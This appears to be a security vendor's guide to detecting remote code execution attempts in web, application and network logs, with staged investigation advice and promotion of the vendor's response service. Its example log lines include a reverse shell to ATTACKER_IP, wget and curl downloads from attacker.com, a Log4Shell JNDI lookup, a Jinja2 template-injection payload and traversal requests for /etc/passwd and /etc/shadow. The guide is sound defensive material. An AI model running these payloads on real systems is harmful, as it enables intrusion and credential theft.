Remote Code Execution (RCE) exploitation attempts continue to appear in widely used platforms, including recent cases such as React2Shell affecting React Server Components and Apache Tomcat RCE vulnerabilities. When attackers identify these weaknesses, they often begin probing applications with crafted requests to see how inputs are handled.
These probing attempts frequently surface in application logs as unusual parameters, encoded payloads, or repeated requests targeting the same endpoint. The challenge is knowing when these signals reflect background probing activity or the early stages of an exploitation attempt.
This guide shows how to identify potential RCE activity in logs and what to investigate when suspicious patterns appear. It begins with a 60-second RCE log check to quickly determine whether unusual activity may indicate an attack, then explains the log patterns that commonly appear as RCE attempts progress.
60-Second RCE Log Triage Guide
If your logs show two or more of the following right now, treat it as a potential Remote Code Execution attempt:
- Request parameters suddenly contain command keywords like id, whoami, uname, ls, or cat
- Requests attempt to access system files such as /etc/passwd or /proc/self/environ
- Long encoded strings appear in parameters (Base64 or heavily encoded input)
- The same endpoint receives repeated requests with different command variations
- Payloads reference shell tools such as bash, nc, python, curl, wget, or /dev/tcp
Fast RCE Log Diagnostic Table
The table below summarizes common log patterns that may indicate attempts to trigger Remote Code Execution vulnerabilities and the immediate actions to take:
| Log Symptom | Possible Vulnerability Path | Example Pattern | What to Do |
| Shell command syntax in parameters | Command injection | /run?cmd=id | Review whether user input is passed to system commands |
| Directory traversal paths | File inclusion or file access | /download?file=../../etc/passwd | Restrict access to sensitive file paths |
| Encoded payloads in request bodies | Unsafe deserialization | rO0ABXNyABFqYXZh… | Decode payload and verify object processing logic |
| Template expressions in parameters | Server-side template injection | q={{7*7}} | Ensure user input is not evaluated by template engines |
| Execution endpoints receiving commands | Exposed command interface | /exec?command=whoami | Restrict endpoint access and validate input |
| Reverse shell commands | Remote shell attempt | bash -i >& /dev/tcp/… | Investigate system activity and outbound connections |
| External payload downloads | Payload staging | curl attacker.com/shell.sh | Review network activity and block external payload sources |
Seeing multiple patterns from this table, especially targeting the same endpoint, may indicate an active attempt to exploit an RCE vulnerability
Seeing RCE Indicators in Your Logs? Get the Indusface SOC on the bridge.
If Remote Code Execution patterns are appearing in your logs, you don’t have to investigate them alone.
Indusface security engineers can help validate the activity, block exploitation attempts, and deploy virtual patches to protect your application without requiring code changes.
Why RCE Attempts are Difficult to Detect in Logs
Detecting Remote Code Execution attempts can be challenging. Attackers typically probe applications with crafted requests to understand how inputs are processed and to identify potential execution paths.
Modern applications process user input across multiple components, including APIs, form inputs, automation workflows, and background services. Attackers take advantage of these entry points by injecting payloads through query parameters, headers, request bodies, and file uploads. As a result, suspicious payloads may appear scattered across different logs.
Another challenge is payload obfuscation. Commands are frequently encoded using Base64, URL encoding, or nested encoding layers. This allows attackers to bypass simple filtering mechanisms and makes malicious requests harder to identify during manual log reviews.
RCE exploitation is also typically multi-stage. Attackers may start with harmless-looking commands such as id or whoami to confirm command execution. Once successful, they escalate to actions such as reading system files, downloading external payloads, or establishing reverse shell connections.
Because of this progression, identifying RCE attempts often requires analyzing request patterns across multiple logs and observing how suspicious activity evolves over time.
Key Log Sources for Investigating RCE Attempts
Examining different log sources helps reveal how suspicious requests interact with the application, server, and underlying system.
| RCE Stage | Where It Appears in Logs | What the Logs May Reveal |
| Initial Probing | Web server access logs | Repeated requests testing parameters, unusual characters, encoded input, or attempts to access unexpected paths |
| Payload Testing | Access logs, WAF logs | Requests containing command syntax, encoded payloads, or variations of suspicious inputs targeting the same endpoint |
| Application Interaction | Application logs | Errors, exceptions, or abnormal processing triggered after suspicious requests |
| Execution Attempt | System and process logs | Unexpected processes, scripts, or commands executed on the server |
| Post-Exploitation Activity | Network monitoring logs | Outbound connections, script downloads, or communication with external systems |
What to Look for in Logs When Investigating RCE Attempts
Remote Code Execution typically unfold through a sequence of probing attempts that gradually reveal whether an application can execute commands. By recognizing these patterns in logs, security teams can detect exploitation attempts before attackers gain full control of the system.
The following signals commonly appear when reviewing logs for potential RCE activity.
1. Suspicious Command Syntax in Request Parameters
Attackers often initiate RCE attempts by inserting command syntax into request parameters to see whether the application executes the input as part of a system command.
Applications normally expect structured inputs such as filenames, IDs, or short strings. When logs show parameters containing command separators or shell expressions, it may indicate attempts to manipulate how the application processes input.
Example:
GET /download?file=report.pdf;whoami
In this request, the semicolon (;) acts as a command separator. If the application passes this parameter to a shell command, both commands could execute sequentially.
Other separators that may appear in logs include:
|
&&
||
`
$
When these characters appear inside parameters that normally contain simple values, the request should be investigated carefully.
2. System Commands Embedded in Requests
Attackers often test command execution by inserting simple system commands that reveal environment information.
Example log entries:
GET /export?file=data.csv;uname -a
GET /download?file=report.pdf;cat /etc/passwd
Common reconnaissance commands include:
- whoami – reveals the user account running the process
- uname -a – displays operating system details
- ls – lists directory contents
- cat /etc/passwd – attempts to read system files
These commands are typically used to confirm whether injected input is being executed by the server.
3. Path Traversal and File Inclusion Attempts
Some RCE attempts begin with requests that try to access files outside the intended directory structure. Attackers use these requests to explore the server’s file system, retrieve configuration data, or identify files that could later be used to trigger code execution.
Example requests:
GET /download?file=../../../../etc/passwd
GET /template?name=../../../../proc/self/environ
Such requests use directory traversal sequences (../) to move outside the permitted directory and access system files. Logs showing repeated traversal patterns targeting different files or directories may indicate attempts to gather information about the server environment.
In environments vulnerable to Local File Inclusion (LFI), attackers may attempt to include executable files through application parameters.
Example:
GET /index.php?page=../../../../var/log/apache2/access.log
If the application includes and executes the referenced file, it may allow arbitrary code execution. When logs show repeated attempts to access system files or application configuration files, it may indicate that someone is attempting to escalate from file access vulnerabilities to code execution.
4. Requests Targeting Execution Endpoints
Some applications expose endpoints that run scripts or system tasks internally. These may exist for automation workflows, debugging operations, or administrative tools.
If these endpoints are accessible externally, attackers may attempt to trigger them directly.
Sample log entries:
GET /run.php?cmd=id
GET /exec?command=whoami
POST /api/system/run
Repeated requests targeting these endpoints with different command payloads often indicate attempts to test whether the application allows remote command execution.
5. Encoded or Obfuscated Payloads
Logs may sometimes contain request parameters with unusually long or encoded values. These encoded strings can hide commands or system instructions that are not immediately visible during initial log review.
Sample request:
GET /run?cmd=Y2F0IC9ldGMvcGFzc3dk
Decoding this Base64 string reveals:
cat /etc/passwd
Encoded payloads can appear in several forms within logs, including:
- Base64-encoded command strings
- Heavily URL-encoded characters and symbols
- Unusually long parameter values that do not resemble normal input
Because the payload is encoded, the request may initially appear harmless in logs. However, decoding suspicious parameters can reveal hidden command syntax or system instructions that indicate an attempt to execute commands on the server. Decoding suspicious parameters often reveals command syntax that is not immediately obvious during log review.
6. Template Injection Payloads
Logs may sometimes contain unusual template expressions when attackers test whether user input is evaluated by a server-side template engine.
Example requests
GET /search?q={{7*7}}
GET /profile?name={{config.items()}}
These expressions are commonly used to check whether the template engine evaluates user input. If the application processes them, the result may appear in the response, confirming that template evaluation is occurring.
Once template execution is confirmed, attackers may attempt to access internal objects exposed by the template engine to execute system commands.
Sample payload
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
If such expressions appear in logs, they may indicate attempts to escalate template injection into remote code execution. Requests containing unusual template syntax should be investigated carefully, especially in applications that use template engines such as Jinja2, Twig, or Freemarker.
From Suspicious Request to Confirmed RCE: An Investigation Walkthrough
Earlier sections explained how suspicious payloads appear in logs and what indicators may signal a potential Remote Code Execution attempt. However, detecting a suspicious request is only the first step.
Many applications are regularly probed by automated scanners and bots, and not every unusual request leads to exploitation. What matters is how the activity evolves across multiple requests.
The following stages illustrate how suspicious activity can progress from initial probing to potential remote code execution.
Stage 1: Suspicious Request Triggers the Investigation
At this stage, the request simply indicates that someone may be testing whether the application processes input in an unsafe way, often using payload patterns discussed earlier.
To determine whether the activity requires deeper investigation, review surrounding requests for patterns such as repeated requests targeting the same endpoint, variations of the same payload or multiple suspicious parameters sent from the same source.
Stage 2: Repeated Probing of the Same Endpoint
When attackers suspect that a particular parameter or endpoint may be vulnerable, they often send multiple requests targeting the same location with slightly modified payloads. In logs, this typically appears as repeated requests to the same endpoint, with small variations in parameters designed to observe how the application processes different inputs.
Example log patterns:
GET /run?cmd=id
GET /run?cmd=whoami
GET /run?cmd=uname -a
Requests like these often appear within seconds of each other and target the same parameter repeatedly.
For investigators, this pattern suggests that the source of the traffic may be testing whether commands are executed or whether user input is evaluated by the application.
At this stage, the activity begins to resemble systematic vulnerability probing.
Stage 3: Environment Discovery
If earlier probes indicate that input may interact with system components, attackers often begin collecting information about the server environment.
Logs may start showing requests that attempt to reveal directory structures, runtime environment variables or accessible files or application paths.
Sample log entries:
GET /run?cmd=ls
GET /run?cmd=pwd
GET /template?name=../../../../proc/self/environ
These requests may indicate that the attacker is attempting to understand:
- Where the application is running
- What files are accessible
- How the system environment is configured
For investigators, this stage signals that the activity may be progressing beyond simple probing.
Stage 4: Sensitive File Access Attempts
After discovering accessible paths or command execution behavior, attackers may begin requesting sensitive system files or configuration data. Logs may show requests targeting files that contain user information, credentials, or system configuration details.
Sample log entries:
GET /run?cmd=cat /etc/passwd
GET /download?file=../../../../etc/shadow
These requests often target files that contain user accounts, credentials, or configuration information.
When such requests appear after earlier probing activity, they may indicate that the attacker has identified a way to interact with the system and is attempting to extract useful information.
Activity at this point represents a higher risk of exploitation or data exposure.
Stage 5: Attempt to Execute External Payloads (Potential RCE)
If earlier activity suggests that RCE may be possible, attackers often attempt to run more complex payloads or retrieve external scripts from remote servers. Logs may show requests that attempt to download or execute attacker-controlled resources.
Sample log entries:
GET /run?cmd=wget http://attacker.com/payload.sh
GET /run?cmd=curl http://attacker.com/shell.sh
These requests attempt to download tools or scripts from attacker-controlled infrastructure.
If network logs show outbound connections to the referenced domain shortly after these requests, it may indicate that the server attempted to retrieve the payload. This stage often marks the transition from probing activity to active exploitation attempts.
Stage 6: Indicators of Remote Shell Activity
If payload execution succeeds, attackers may attempt to establish an interactive session with the server. Logs may reveal payloads designed to open reverse shell connections that allow remote command execution.
Sample log entry
POST /run?cmd=bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Such payloads redirect command input and output through a network connection, enabling attackers to interact with the system remotely.
When these payloads appear in logs, investigators should review network activity for outbound connections to unfamiliar IP addresses or ports, as this may indicate that a remote shell was initiated.
Stage 7: Persistent Command Execution
Once attackers obtain remote access, they often deploy mechanisms that allow them to execute commands repeatedly without repeating complex exploitation steps.
Logs may begin showing requests to scripts or endpoints capable of executing commands.
Sample log entries
GET /shell.php?cmd=id
GET /cmd.php?exec=whoami
These scripts often function as web shells, allowing attackers to run commands through simple HTTP requests.
Frequent requests targeting such endpoints may indicate that attackers are actively interacting with the compromised system and maintaining ongoing access.
Summary: Typical RCE Investigation Progression
| Investigation Stage | What Appears in Logs | What It May Indicate | Severity |
| Stage 1 – Suspicious request | unusual payload or parameter | possible vulnerability probe | Low |
| Stage 2 – Repeated endpoint probing | multiple payload variations | vulnerability testing | Medium |
| Stage 3 – Environment discovery | directory or environment queries | system reconnaissance | Medium |
| Stage 4 – Sensitive file access | attempts to retrieve system files | possible information disclosure | High |
| Stage 5 – Payload execution attempts | download or execution commands | exploitation attempt | High |
| Stage 6 – Remote shell indicators | reverse shell payloads | possible command execution | Critical |
| Stage 7 – Persistent command execution | web shell interaction | confirmed compromise | Critical |
Recognizing how suspicious activity progresses across these stages helps security teams determine whether a request is simply part of routine scanning or an attack that is escalating toward Remote Code Execution.
Early identification of these patterns allows defenders to investigate suspicious activity and contain potential exploitation before attackers gain persistent control of the system.
Real-World RCE Exploits and What They Reveal in Logs
In many real incidents, exploitation attempts leave distinctive request patterns in logs before the attack succeeds. For example:
1. Log4Shell — JNDI Injection Patterns in Requests
The Log4Shell vulnerability exploited Apache Log4j’s JNDI lookup mechanism by injecting expressions such as:
${jndi:ldap://attacker-domain.com/a}
During the outbreak, these payloads appeared in query parameters, HTTP headers, and user-agent fields. Logs often showed large volumes of requests containing ${jndi: expressions, indicating automated scanning and exploitation attempts targeting vulnerable applications.
2. Langflow RCE — Code Execution Requests to Validation APIs
The Langflow RCE vulnerability allowed attackers to execute Python code through a validation endpoint intended for testing workflows. Exploitation attempts typically appeared in logs as repeated requests to the same API endpoint:
POST /api/v1/validate/code
Requests often contained Python payloads designed to execute system commands, with multiple variations sent in quick succession to confirm whether execution was possible.
3. Metro4Shell — Command Payloads Targeting Development Endpoints
The Metro4Shell vulnerability affected exposed React Native development servers. Attackers interacted with development endpoints such as:
GET /open-url
Logs frequently showed repeated requests to these endpoints with unusual parameters or command syntax, indicating attempts to trigger operating system commands through the development server interface.
4. WPvivid Plugin RCE — Web Shell Activity After File Upload
This WPvivid Plugin RCE vulnerability allowed attackers to upload malicious PHP files through a backup feature. The attack sequence usually appeared in logs as two distinct events: a file upload request followed by direct access to the uploaded script.
POST /wp-admin/admin-ajax.php
GET /wp-content/uploads/shell.php
Repeated requests to the uploaded file with command parameters often indicated that attackers were using it as a web shell.
5. n8n Workflow RCE — Malicious Expression Execution
The n8n vulnerability allowed attackers to inject malicious expressions into workflow definitions. Logs during exploitation attempts typically showed requests that created or modified workflows containing unusual expression syntax.
Subsequent requests triggered workflow execution, which could lead to operating system command execution inside the application environment.
What to Do When RCE Indicators Appear in Logs
When logs suggest a potential Remote Code Execution attempt, the priority is determining whether the activity represents simple probing or an actual compromise. A structured response helps security teams quickly assess risk, contain potential threats, and prevent further exploitation.
1. Identify the Affected Application Component
Start by determining which part of the application handled the suspicious request. Reviewing the request path and parameters helps identify the specific endpoint or service involved.
Endpoints responsible for automation workflows, administrative operations, or system-level tasks should be examined carefully, as these components are more likely to interact with system commands or external processes.
Understanding the role of the affected endpoint helps investigators assess whether the request could realistically trigger command execution.
2. Analyze the Payload Intent
Next, determine what the payload was attempting to accomplish. Suspicious parameters may include encoded data, command fragments, or expressions designed to interact with underlying system components.
Decoding and reviewing the payload helps clarify whether the request was attempting to:
- Execute a system command
- Access sensitive files
- Download external scripts
- Trigger a vulnerable application component
Understanding the payload’s intent helps differentiate harmless scanning activity from attempts to actively exploit the application.
3. Check for Signs of Execution
Once the payload has been analyzed, determine whether the application executed the request. This typically involves reviewing system activity for indicators such as:
- Unexpected command execution
- Newly spawned processes
- Outbound connections initiated by the server
- Recently created or modified files
Correlating these signals with the timing of the suspicious request helps determine whether the payload was successfully executed.
4. Limit Further Exposure
If there is any indication that exploitation may have occurred, immediate containment actions should be taken to reduce risk. Common containment measures include:
- Restricting access to the affected endpoint
- Blocking suspicious traffic sources
- Isolating affected systems for further investigation
These steps help prevent attackers from continuing exploitation while the root cause is addressed.
5. Remediate the Underlying Vulnerability
To prevent the attack from recurring, teams must identify and fix the vulnerability that enabled the rce attempt. This typically involves reviewing the affected application component and addressing vulnerabilities such as unsafe command execution, insufficient input validation, insecure file uploads, exposed execution endpoints, or outdated dependencies.
However, immediate remediation is not always straightforward. Code changes often require development cycles, testing, and deployment approvals, which can delay fixes even when the risk is critical.
To reduce this exposure window, organizations can rely on autonomous or virtual patching mechanisms that block exploitation attempts while a permanent fix is being developed. For example, vulnerabilities identified can be mitigated by onboarding the application to AppTrana WAAP. The SwyftComply capability then deploys virtual patches autonomously and prevents exploitation without requiring code changes.
6. Monitor for Follow-Up Activity
Even after containment actions are taken, continued monitoring is essential. Attackers who gain execution capability may attempt additional actions such as deploying web shells, retrieving sensitive data, or establishing persistent access.
Reviewing logs for related activity across application, system, and network monitoring tools helps confirm whether the attack was successfully contained.
Seeing RCE Indicators Right Now? Bring the Indusface SOC into the Incident.
When Remote Code Execution indicators begin appearing in your logs, time is critical. What may start as probing requests can quickly escalate into command execution, payload deployment, and full system compromise.
By reaching out through the Under Attack page, Indusface security engineers work directly with your team to:
- Confirm whether command execution attempts are actively occurring using live traffic and backend telemetry
- Identify vulnerable endpoints across web applications, APIs, and exposed services
- Block malicious payloads and deploy protective rules to stop further exploitation
- Investigate whether attackers executed commands, accessed sensitive files, or established persistence
- Remain engaged with your team until the attack activity is fully contained
You don’t have to analyze logs, trace payloads, and contain exploitation attempts alone while under pressure.
